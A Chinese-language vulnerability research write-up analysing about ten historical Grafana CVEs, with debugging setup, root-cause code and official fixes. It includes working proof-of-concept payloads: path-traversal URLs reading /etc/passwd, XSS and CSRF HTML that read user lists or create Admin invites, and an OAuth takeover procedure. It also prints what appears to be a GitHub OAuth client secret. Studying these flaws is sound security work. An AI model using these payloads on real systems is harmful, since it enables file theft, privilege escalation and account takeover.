Grafana 历史漏洞分析

最近学了下Go,也准备挖一下Go WEB应用的漏洞。梳理了Grafana的结构,调试分析了Grafana的一些历史漏洞及修复方案,也在分析过程中挖到了新的。感觉Go语言确实是比较安全的,很多漏洞其实都是代码逻辑上的问题

前置知识

CVE-2021-39226(快照验证绕过)

影响范围

Affected versions: <= 8.1.5

Patched versions: 7.5.11, 8.1.6

漏洞复现

环境搭建

下载指定版本:https://github.com/grafana/grafana/archive/refs/tags/v8.1.0.zip

修改build.go中的编译参数用于远程调试,且需要删除-ldflags中的-w参数

1
2
//args := []string{"build", "-ldflags", ldflags()}
args := []string{"build", "-ldflags", ldflags(), "-gcflags", "all=-N -l"}
1
//b.WriteString("-w")

修改packaging/docker/run.sh以Delve启动应用

1
2
#exec grafana-server                                         \
exec dlv --listen=:2345 --headless=true --api-version=2 --accept-multiclient exec /usr/share/grafana/bin/grafana-server --continue -- \

修改Dockerfile中的Final stage以安装Delve

1
2
3
4
5
# Final stage
#FROM alpine:3.13
FROM golang:1.16.1-alpine3.13
RUN export GOPROXY="https://goproxy.cn" && \
go install github.com/go-delve/delve/cmd/dlv@v1.7.3

然后构建镜像并启动

1
2
docker build . -t grafana_debug:8.1.0
docker run --rm -d -p3000:3000 -p2345:2345 grafana_debug:8.1.0

用GoLand连接远程调试即可

如果go-builder阶段构建镜像的时候有网络环境问题,可以设置一下GOPROXY

1
ENV GOPROXY="https://goproxy.cn"

复现

登录Grafana,点击左侧Create Dashboard,随便添加一些panel然后保存,然后点击左上角的分享图标Share dashboard or panel,选择Snapshot,点击按钮Local Snapshot,这会生成一个快照和类似这样的分享链接:

http://localhost:3000/dashboard/snapshot/9EI8uXd32QUJqF3dS34EeIz3fkKsRkZB

这个url无需身份验证就可以访问。

漏洞存在于如下url,即不需要知道快照的key且无需身份验证即可获取快照信息:

  • /api/snapshots/:key
  • /api/snapshots-delete/:deleteKey (snapshot “public_mode” configuration setting is set to true)
  • /dashboard/snapshot/:key

其中/dashboard/snapshot/:key只是个前端页面,本质还是会调用/api/snapshots/:key接口获取快照数据

漏洞分析

路由在pkg/api/api.go中定义:

1
2
3
4
r.Get("/dashboard/snapshot/*", reqNoAuth, hs.Index)
...
r.Get("/api/snapshots/:key", routing.Wrap(GetDashboardSnapshot))
r.Get("/api/snapshots-delete/:deleteKey", reqSnapshotPublicModeOrSignedIn, routing.Wrap(DeleteDashboardSnapshotByDeleteKey))

以上路由都是不需要身份验证的,但/api/snapshots-delete/:deleteKey需要SnapshotPublicMode这项配置为True,见pkg/middleware/auth.go:151:

1
2
3
4
5
6
7
8
9
10
11
12
func SnapshotPublicModeOrSignedIn(cfg *setting.Cfg) macaron.Handler {
return func(c *models.ReqContext) {
if cfg.SnapshotPublicMode {
return
}

if !c.IsSignedIn {
notAuthorized(c)
return
}
}
}

在Macaron中,/api/snapshots/:key 中的:key是一个占位符,可以理解为把url路径中的一部分作为参数,这里有个有趣的特性,如下代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
package main

import (
"fmt"
"gopkg.in/macaron.v1"
)

func main() {
m := macaron.Classic()
m.Get("/hello/:name", func(ctx *macaron.Context) string {
name := ctx.Params(":name")
return fmt.Sprintf("%T,%d,%s", name, len(name), name)
})
m.Run()
}

如果不向占位符的地方传入数据或者传入和占位符完全一样的字符串,那么得到的参数就会是空字符串,例如访问这两个路径:/hello///hello/:name,那么得到的结果都是string,0,

回到Grafana的代码中,/api/snapshots/:key路由对应的具体逻辑在pkg/api/dashboard_snapshot.go:147,而:key的本意是快照的key,此时为空字符串

bus.Dispatch(query)是Grafana中的bus机制,跳过这里,直接到获取快照的具体逻辑:pkg/services/sqlstore/dashboard_snapshot.go:90

其中x是定义于pkg/services/sqlstore/sqlstore.go:32的全局变量,为XORM Engine。

XORM的Get方法的其中一个用法如下:

根据”已有的非空数据”来获取单条数据,如果数据都为空呢,测试发现会返回数据表的第一条数据,而如果数据为0,空字符串这种情况,也等同于空,例如下代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
package main

import (
"fmt"
_ "github.com/mattn/go-sqlite3"
"xorm.io/xorm"
)

type User struct {
Id int64
Name string `xorm:"varchar(25)"`
}

var engine *xorm.Engine

func initData() {
engine.CreateTables(new(User))
for i := 0; i < 3; i++ {
user := new(User)
user.Name = "leixiao"
engine.Insert(user)
}
}

func getData(id int64, name string) {
user := &User{Id: id, Name: name}
fmt.Printf("Query : %+v\n", user)
has, _ := engine.Get(user)
if has {
fmt.Printf("Result: %+v\n", user)
} else {
fmt.Printf("Result: nil\n")
}
}

func getDataEmpty() {
user := &User{}
fmt.Printf("Query : %+v\n", user)
has, _ := engine.Get(user)
if has {
fmt.Printf("Result: %+v\n", user)
} else {
fmt.Printf("Result: nil\n")
}
}

func main() {
var err error
engine, err = xorm.NewEngine("sqlite3", "./test.db")
if err != nil {
fmt.Println(err)
return
}

initData()

getDataEmpty()
fmt.Println("")
getData(0, "")
}

返回结果将为:

Query : &{Id:0 Name:}
Result: &{Id:1 Name:leixiao}

Query : &{Id:0 Name:}
Result: &{Id:1 Name:leixiao}

所以,当这里的KeyDeleteKey都为空字符串时,最终查询结果为数据表的第一条数据

漏洞修复

8.1.6修复方案如下:

https://github.com/grafana/grafana/commit/2d456a6375855364d098ede379438bf7f0667269

主要是修复了两处,第一处修复相当于给Macaron打了个补丁,修复了前文提到的如果向占位符的地方传入和占位符完全一样的字符串,那么得到的参数就会是空字符串的问题

但是这里是可以绕过的,也是前文提到的传入空数据,我搭了8.1.6的调试环境,测试结果如下:

另一处修复是检查key参数长度是否为0,也就是判断是否为空字符串,这里就几乎杜绝了绕过的可能

CVE-2021-43798(路径穿越任意文件读取)

影响范围

Affected versions: 8.0.0 - 8.3.0

Patched versions: 8.3.1, 8.2.7, 8.1.8, 8.0.7

漏洞复现

依然使用8.1.0的版本,POC里将url路径中的/url编码是为了防止浏览器自动进行URL路径规范化

http://127.0.0.1:3000/public/plugins/text/..%2f..%2f..%2f..%2f..%2f..%2f..%2f../etc/passwd

漏洞分析

路由在pkg/api/api.go中定义:

1
r.Get("/public/plugins/:pluginId/*", hs.GetPluginAssets)

这里看出这是个前台漏洞,也就是不需要身份验证的。

路由对应的具体逻辑在:pkg/api/plugins.go:260

逻辑很简单,就是参数c.Params("*")被拼接到文件路径,然后响应返回文件内容。问题在于参数中的”../“并没有被正确过滤从而导致了路径穿越,而为什么filepath.Clean函数没有处理”../“,可以看官方文档对该函数的解释,简单来说就是路径以/开头才会处理”../“

例如下代码:

1
2
3
4
5
6
7
8
9
10
11
package main

import (
"fmt"
"path/filepath"
)

func main() {
fmt.Println(filepath.Clean("/xxx/../etc/passwd"))
fmt.Println(filepath.Clean("../etc/passwd"))
}

运行结果为:

/etc/passwd
../etc/passwd

漏洞修复

https://github.com/grafana/grafana/commit/c798c0e958d15d9cc7f27c72113d572fa58545ce

首先是给路径参数前面拼接了/,然后再通过filepath.Clean函数处理,这样也基本就解决了路径穿越的问题。然后通过filepath.Rel函数获取路径相当于/的相对路径,最后拿相对路径和PluginDir进行路径拼接,这样最终的文件路径就只能是PluginDir下的文件

CVE-2021-43813(路径穿越.md文件读取)

影响范围

Affected versions: 5.0.0 - 8.3.1

Patched versions: 8.3.2, 7.5.12

漏洞复现

使用8.1.0或8.3.1的版本,先进入容器,创建除了后缀名,路径分别为全大写和全小写的md文件

1
2
mkdir /lower; echo lower > /lower/file.md
mkdir /UPPER; echo upper > /UPPER/FILE.md

POC:

http://127.0.0.1:3000/api/plugins/text/markdown/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fupper%2ffile

http://127.0.0.1:3000/api/plugins/text/markdown/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2flower%2ffile

漏洞分析

8.1.0

路由在pkg/api/api.go中定义:

1
2
3
4
5
r.Group("/api", func(apiRoute routing.RouteRegister) {
...
apiRoute.Get("/plugins/:pluginId/markdown/:name", routing.Wrap(hs.GetPluginMarkdown))
...
}, reqSignedIn)

这里的reqSignedIn意味着需要登录

然后到pkg/api/plugins.go:181

到pkg/plugins/manager/manager.go:696,对name进行大/小写转换,然后和PluginDir进行拼接,导致了目录穿越

8.3.1

路由定义和8.1.0是一样的

继续看到pkg/api/plugins.go:188,这里调用Markdown插件的代码有点不同

pkg/api/plugins.go:483

不过漏洞整体的流程和逻辑是一样的

漏洞修复

8.3.2修复如下:

https://github.com/grafana/grafana/commit/e0842b265f82806fde785c546f1637acdfaf5685

对传入的路径参数用mdFilepath函数处理,而mdFilepath函数内是使用filepath.Clean进行处理,和CVE-2021-43798修复类似

CVE-2021-43815(路径穿越csv文件读取)

影响范围

Affected versions: 8.0.0-beta3 - 8.3.1
Patched versions: 8.3.2

漏洞复现

使用8.3.1版本,先进入容器,创建一个csv文件

1
echo -e "id,name\n1,leixiao\n2,l3yx" > /test.csv

按照TestData data source的步骤添加TestData数据源,然后进入Explore页面,选择TestData DB,然后选择一个csv文件并抓包

修改queries.csvFileName字段可目录穿越读取任意csv文件

漏洞分析

一开始是看官方github信息得知漏洞url是/api/ds/query,然后直接从该路由入手分析漏洞,但发现定位到漏洞点有些困难,其中的功能点调用逻辑有点复杂,然后从cve页面找到漏洞的修复信息,得知最后的漏洞点为pkg/tsdb/testdatasource/csv_data.go,然后由loadCsvFile函数倒推调用路径,但最终只推到pkg/tsdb/testdatasource/scenarios.go:198

看样子是先注册函数或功能,调用时在根据ID去动态调用对应的功能点。然后发现这些文件都在testdatasource这个目录,根据关键字很容易搜到官方文档,按照文档测试并抓包,得到预期中的数据包,其中scenarioId字段也就对应各个功能的ID

搞清楚调用逻辑后再正向分析一下漏洞。

路由在pkg/api/api.go中定义:

1
2
3
4
5
r.Group("/api", func(apiRoute routing.RouteRegister) {
...
apiRoute.Post("/ds/query", authorize(reqSignedIn, ac.EvalPermission(ActionDatasourcesQuery)), bind(dtos.MetricRequest{}), routing.Wrap(hs.QueryMetricsV2))
...
}, reqSignedIn)

中间的调用逻辑很长而且有点复杂,直接跳过,到pkg/tsdb/testdatasource/csv_data.go:46,这里就是处理csv_file的具体逻辑

pkg/tsdb/testdatasource/csv_data.go:75,这里只是做了简单的正则判断便直接拼接路径,导致了目录穿越。这里的正则也可以轻易绕过:xxx.csv/../../../../../../etc/passwd,不过当前的环境是无法读取/etc/passwd文件的,在LoadCsvContent函数中是默认将文件以csv的格式进行读取,但是/etc/passwd最后一行有几个逗号,行之间逗号数不匹配会导致读取错误

/etc/hosts倒是可以读取:

漏洞修复

https://github.com/grafana/grafana/commit/d6ec6f8ad28f0212e584406730f939105ff6c6d3#diff-2482b47469df54a2bdcb0870bfca4ac5f190027bf13d0c404cbd470d226576e5

修复方法同CVE-2021-43813,并且正则更严谨了

CVE-2022-21702(Proxy XSS)

影响范围

Affected versions: 2.0.0-beta1 - 8.3.4
Patched versions: 8.3.5, 7.5.15

漏洞复现

参考官方说明,很容易推断复现步骤:

数据源Proxy

使用8.3.1版本,创建一个基于HTTP的数据源,例如Elasticsearch,访问模式设置成Server,URL设置为攻击者可控的地址

在该URL的Web服务中放入XSS页面。Grafana的Cookie是HttpOnly的,所以无法获取Cookie,但是可以直接请求接口,例如xss.html:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<script>
var xhr = new XMLHttpRequest();
xhr.open("GET", "/api/org/users", true);
xhr.onreadystatechange = function() {
if (xhr.readyState === XMLHttpRequest.DONE) {
if (xhr.status === 200) {
alert(xhr.responseText);
} else {
alert(xhr.status);
}
}
};
xhr.send();
</script>

/datasources页面可以抓包获取数据源的id,用id可以构造出如下地址:/api/datasources/proxy/:id/xss.html

漏洞修复

https://github.com/grafana/grafana/commit/27726868b3d7c613844b55cd209ca93645c99b85

csp设置为sandbox

CVE-2022-21703(同站CSRF)

影响范围

Affected versions: >=v3.0-beta1
Patched versions: 8.3.5, 7.5.15

漏洞复现

参考 CVE-2022-21703: cross-origin request forgery against Grafana

使用8.3.1版本,POC所在地址和Grafana必须同站,如http://127.0.0.1:8080/csrf.html和http://127.0.0.1:3000/ (Grafana)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<html>
<head>
<meta charset="utf-8">
</head>
<body>
<script>
function csrf(name, email) {
const url = "http://127.0.0.1:3000/api/org/invites";
const data = {
"name": name,
"loginOrEmail": email,
"role": "Admin",
"sendEmail": false
};
const opts = {
method: "POST",
mode: "no-cors",
credentials: "include",
headers: {"Content-Type": "text/plain; application/json"},
body: JSON.stringify(data)
};
fetch(url, opts);
}
csrf("attacker", "attacker@example.com");
</script>
</body>
</html>

漏洞分析

官方通告就可以得知是邀请功能处的CSRF,即http://127.0.0.1:3000/org/users/invite ,但我在测试时发现Grafana的Cookie的SameSite属性是Lax,即跨站POST请求是不会带Cookie的,所以直接放弃了POST /api/org/invites这个接口,我觉得这里是不会有CSRF漏洞的,然后接着找邀请功能是否有请求方法为GET的接口,也尝试了Method Override,但都无果。最后只能搜公开POC,于是找到文章 CVE-2022-21703: cross-origin request forgery against Grafana

文章中对这个漏洞的利用有个前提就是POC所在地址和Grafana同站,这一点确实是没有想到,有点觉得同站才能攻击甚至都不算漏洞。不过我从文章里还是学到很多东西。

如果已经在同站的前提下,那么我第一步构造的POC会是这样:

1
2
3
4
5
6
7
8
9
10
11
12
<html>
<body>
<form action="http://127.0.0.1:3000/api/org/invites" method="POST" enctype="text/plain">
<input type="hidden" name="&#123;&quot;name&quot;&#58;&quot;test&quot;&#44;&quot;email&quot;&#58;&quot;&quot;&#44;&quot;role&quot;&#58;&quot;Admin&quot;&#44;&quot;sendEmail&quot;&#58;false&#44;&quot;loginOrEmail&quot;&#58;&quot;test&#46;com&quot;&#125;" value="" />
<input type="submit" value="Submit request" />
</form>
<script>
history.pushState('', '', '/');
document.forms[0].submit();
</script>
</body>
</html>

实际发出的请求包如下:

1
2
3
4
5
6
7
8
9
10
POST /api/org/invites HTTP/1.1
Host: 127.0.0.1:3000
Origin: http://127.0.0.1:8080
Content-Type: text/plain
Referer: http://127.0.0.1:8080/
Cookie: grafana_session=0ddf59e56f25e8815da0e1d2c937ab44
Content-Length: 88

{"name":"test","email":"","role":"Admin","sendEmail":false,"loginOrEmail":"test.com"}=

返回包是:

1
2
3
HTTP/1.1 415 Unsupported Media Type
...
[{"classification":"ContentTypeError","message":"Unsupported Content-Type"}

观察发现请求包的Json数据最后面多了一个=,但其实这是没影响的,服务端对Json的处理有一定程度的容错,这种case我曾经在其他漏洞赏金计划中发现过。真正导致利用失败的是Content-Type: text/plain,显然服务端期望的是Json,但是通过form表单提交数据的话,是无法设置application/x-www-form-urlencodedmultipart/form-datatext/plain以外的Content-Type的

改用Fetch,并设置Content-Type:

1
2
3
4
5
6
7
8
9
10
11
12
13
<html>
<script>
var data = { "name": "test", "email": "", "role": "Admin", "sendEmail": true, "loginOrEmail": "test.com" };
fetch('http://127.0.0.1:3000/api/org/invites', {
method: 'POST',
credentials: "include",
headers: {
'Content-Type': 'application/json'
},
body: JSON.stringify(data)
})
</script>
</html>

由于使用了自定义的请求头(Content-Type非application/x-www-form-urlencodedmultipart/form-datatext/plain),该请求就不是简单请求,那么就会触发预检请求,Grafana没有配置CORS,因此CORS预检将会失败,浏览器永远不会发送实际请求。

我们可以将请求变成简单请求的同时在Content-Type中走私其他内容:

1
2
3
4
5
6
7
8
9
10
11
12
13
<html>
<script>
var data = { "name": "test", "email": "", "role": "Admin", "sendEmail": true, "loginOrEmail": "test.com" };
fetch('http://127.0.0.1:3000/api/org/invites', {
method: 'POST',
credentials: "include",
headers: {
'Content-Type': 'text/plain; application/json'
},
body: JSON.stringify(data)
})
</script>
</html>

这里虽然显示被同源策略阻止,但其实请求已经发送,阻止的只是响应数据的读取

Grafana接受text/plain; application/json为Json是因为 pkg/macaron/binding/binding.go:43

漏洞修复

发现8.3.5并未解决这个漏洞,7.5.15已经修复,下面调试用的8.4.0

pkg/api/org_invite.go:34

pkg/web/binding.go:16,这里使用了go的标准库进行解析

CVE-2022-21713(Teams API IDOR)

影响范围

Affected versions: >= 5.0.0-beta1
Patched versions: 8.3.5、7.5.15

漏洞复现

参考CVE-2022-21713:Grafana Teams API IDOR,在登录之后(Viewer或Editor权限都行),可通过以下接口获取本无权访问的数据

  • /api/teams/search
  • /api/teams/:teamId
  • /api/teams/:teamId/members(需要设置editors_can_admin为true)

漏洞分析

版本8.3.4,teams相关接口定义:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
r.Group("/api", func(apiRoute routing.RouteRegister) {
...
// team (admin permission required)
apiRoute.Group("/teams", func(teamsRoute routing.RouteRegister) {
teamsRoute.Post("/", bind(models.CreateTeamCommand{}), routing.Wrap(hs.CreateTeam))
teamsRoute.Put("/:teamId", bind(models.UpdateTeamCommand{}), routing.Wrap(hs.UpdateTeam))
teamsRoute.Delete("/:teamId", routing.Wrap(hs.DeleteTeamByID))
teamsRoute.Get("/:teamId/members", routing.Wrap(hs.GetTeamMembers))
teamsRoute.Post("/:teamId/members", bind(models.AddTeamMemberCommand{}), routing.Wrap(hs.AddTeamMember))
teamsRoute.Put("/:teamId/members/:userId", bind(models.UpdateTeamMemberCommand{}), routing.Wrap(hs.UpdateTeamMember))
teamsRoute.Delete("/:teamId/members/:userId", routing.Wrap(hs.RemoveTeamMember))
teamsRoute.Get("/:teamId/preferences", routing.Wrap(hs.GetTeamPreferences))
teamsRoute.Put("/:teamId/preferences", bind(dtos.UpdatePrefsCmd{}), routing.Wrap(hs.UpdateTeamPreferences))
}, reqCanAccessTeams)

// team without requirement of user to be org admin
apiRoute.Group("/teams", func(teamsRoute routing.RouteRegister) {
teamsRoute.Get("/:teamId", routing.Wrap(hs.GetTeamByID))
teamsRoute.Get("/search", routing.Wrap(hs.SearchTeams))
})
...
}, reqSignedIn)

所有接口都要求reqSignedIn,即已登录。/api/teams/:teamId/members 接口还需要reqCanAccessTeams,代码在pkg/middleware/auth.go:136

pkg/api/team.go:88

EditorsCanAdmin是需要在配置文件中设置的,默认是false,所以默认情况下,不管我们的角色是不是Admin,userIdFilter都是0,然后传入SearchTeamsQuery这个结构体,然后通过BUS机制调用具体的查询数据的逻辑:

具体代码在 pkg/services/sqlstore/team.go:175

断点处的判断很关键,如果进入的是query.UserIdFilter > 0这个分支,那么最终的SQL语句将会有user_id的相关查询和判断,最终拼接出的SQL语句如下:

1
2
3
4
5
SELECT
team.id as id,
team.org_id,
team.name as name,
team.email as email, (SELECT COUNT(*) FROM team_member WHERE team_member.team_id = team.id) AS member_count FROM team as team WHERE team.org_id = ? order by team.name asc LIMIT 1000 OFFSET 0

可以看到并未对用户权限或者所属team做判断,可以理解为0是一个特权id,有所有team的权限。

如果进入另一个分支,那么SQL语句如下:

1
2
3
4
5
6
7
SELECT
team.id AS id,
team.org_id,
team.name AS name,
team.email AS email,
team_member.permission, (SELECT COUNT(*) FROM team_member WHERE team_member.team_id = team.id) AS member_count FROM team AS team
INNER JOIN team_member ON team.id = team_member.team_id AND team_member.user_id = ? WHERE team.org_id = ? order by team.name asc LIMIT 1000 OFFSET 0

这样如果用户不在这个team,将不会查询到数据

/api/teams/:teamId

pkg/api/team.go:129

然后到pkg/services/sqlstore/team.go:238

这个接口并未对用户做任何归属或者权限校验

/api/teams/:teamId/members

先看reqCanAccessTeams,pkg/middleware/auth.go:136

只有当角色不是Admin并且enabled为False的时候才会accessForbidden,当前我们是Viewer,而这里的enabled其实是EditorsCanAdmin这项配置,见pkg/api/api.go:32

所以这里的权限验证就通过了,后面查询的具体逻辑在:pkg/services/sqlstore/team.go:402

漏洞修复

https://github.com/grafana/grafana/commit/254f19c70376286f0dc627b2d95c7f5cc63a8153

CVE-2022-29170(Network restrictions bypass)

影响范围

Affected versions: >7.4
Patched versions: 7.5.16、8.5.3

漏洞复现

该漏洞影响的是企业版,参考 https://grafana.com/grafana/download?platform=docker 运行指定版本

复现比较简单,参照 request-security 配置黑白名单,然后添加一个Prometheus数据源,控制URL返回重定向,即可绕过安全策略

漏洞修复

https://github.com/grafana/grafana/pull/49240/files

其实还有其他方法可以绕过这个安全策略,已经提交官方了(CVE-2023-4399)

CVE-2022-31097(XSS — a标签href)

影响范围

Affected versions: < 9.0.3, < 8.5.9, < 8.4.10, < 8.3.10, >=8.0
Patched versions: 9.0.3, 8.5.9, 8.4.10, 8.3.10

漏洞复现

创建Alert rule,设置Runbook URLjavascript:alert(1),对应显示界面会渲染为a标签的href属性,点击即可触发XSS

漏洞修复

https://github.com/grafana/grafana/pull/52238/files#diff-691394a56baf1c8cb3534abb9530db44e1329d6f0bd8866049404848779bd13c

用@braintree/sanitize-url 的 sanitizeUrl 处理

CVE-2022-31107(OAuth 账号接管)

影响范围

Affected versions: < 9.0.3, < 8.5.9, < 8.4.10, < 8.3.10, >= 5.3
Patched versions: 9.0.3, 8.5.9, 8.4.10, 8.3.10

漏洞复现

1
docker run -d -p3000:3000 grafana/grafana:8.5.6

根据官方描述,应该是所有类型的OAuth认证都存在账户接管问题,参考官方文档配置GitHub OAuth2。

1
2
3
4
5
6
7
8
9
10
11
12
[auth.github]
enabled = true
allow_sign_up = true
client_id = c89de4b541aeb0979995
client_secret = 8bf5ec52ff1e92b382bac983232631205781bf2c
scopes = user:email,read:org
auth_url = https://github.com/login/oauth/authorize
token_url = https://github.com/login/oauth/access_token
api_url = https://api.github.com/user
allowed_domains =
team_ids =
allowed_organizations =

然后首先登录admin,创建一个和OAuth服务用户用户名相同,邮箱地址不同的账号,这里我创建和我github账号同名的用户l3yx

用OAuth登录,将会接管原本的l3yx账户

当然正常的攻击方式是修改自己的OAuth对应服务的用户名,使其和Grafana中某个账户Username相同(或使用目标帐户的电子邮件作为用户名),以此接管指定账户

漏洞分析

可以先看一下OAuth的原理和实例:GitHub OAuth 第三方登录示例教程。Grafana 8.5.x 的版本前端代码一直编译不成功,所以调试用了8.4.7 的版本

依然先创建用户和配置OAuth登录:

在pkg/api/login_oauth.go:72下断点,然后通过OAuth github登录

这里通过传入的参数”github”动态获取provider以及connect,然后计算一些参数,到pkg/api/login_oauth.go:142 生成跳转到github的链接

用户在Github同意授权后,GitHub 就会重定向回Grafana,同时携带一个授权码:

断点再次到pkg/api/login_oauth.go:72,不过这次多了”code”和”state”参数,由于”code”参数,这次程序进入另一个if分支:

这里将URL中的state参数和ClientSecret进行运算后,与Cookie中的oauth_state进行比较,如果不同的话就会报错,而这里的Cookie中的oauth_state源自于第一次请求/login/github时,用随机串和ClientSecret运算生成的

state校验通过后,会动态获取对应的oauthClient:

继续到pkg/api/login_oauth.go:191,这里使用授权码向GitHub请求Token

然后我第一次调试到这里,会有error,可能是调试时间太长导致授权码过期了,第二次调试直接断到Token获取这里

token获取成功后,用其初始化oauth2 client,然后获取了GitHub账户的信息:

到这里,OAuth认证的步骤就走完了,接下来便是Grafana将Github账户添加到自己系统中的逻辑,也是漏洞产生的关键地方。

pkg/api/login_oauth.go:238 通过从GitHub获取的用户信息构建一个ExternalUser对象

然后进入syncUser,pkg/api/login_oauth.go:317

这里通过BUS机制调用用户的更新或者插入逻辑,具体方法在pkg/services/login/loginservice/loginservice.go:44

继续到pkg/services/login/authinfoservice/service.go:181

可以看到LookupByOneOf函数返回了系统中和我Github同名的用户,也就是说Grafana认为我的Github账号和系统中的那个账号是同一个用户,那么这样后续就是用我Github中的用户信息去更新系统中的原本账户,导致账户接管漏洞

如果再进一步跟踪代码的话,其实就是用GitHub的用户名作为models.User的Login字段,然后用Xorm框架去查找,由于系统中原本的账户的Login字段就是Username,就导致查询出来了原本的账户

pkg/services/login/authinfoservice/service.go:150

漏洞修复

https://github.com/grafana/grafana/pull/52238/commits/41a2c694414feabef022ef49c84bff5909a70740

大概就是添加了一些字段,改变了用户的查找逻辑